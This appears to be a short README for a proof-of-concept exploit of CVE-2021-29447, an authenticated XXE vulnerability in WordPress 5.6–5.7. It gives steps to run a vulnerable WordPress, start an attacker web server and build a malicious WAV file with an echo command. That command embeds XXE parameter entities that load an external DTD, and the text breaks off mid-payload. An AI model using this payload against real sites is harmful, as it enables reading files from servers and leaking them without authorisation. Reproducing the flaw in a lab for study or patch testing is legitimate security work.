CVE-2021-29447

WordPress 5.6-5.7 - Authenticated Author+ XXE CVE-2021-29447 Using Step1. Run WordPress $ make up-wp Step2. Run Attacker web server $ make up-mal Step3. Generate malicious WAV file Without wavefile npm Recommend $ echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00%remote;%init;%trick; \x00'...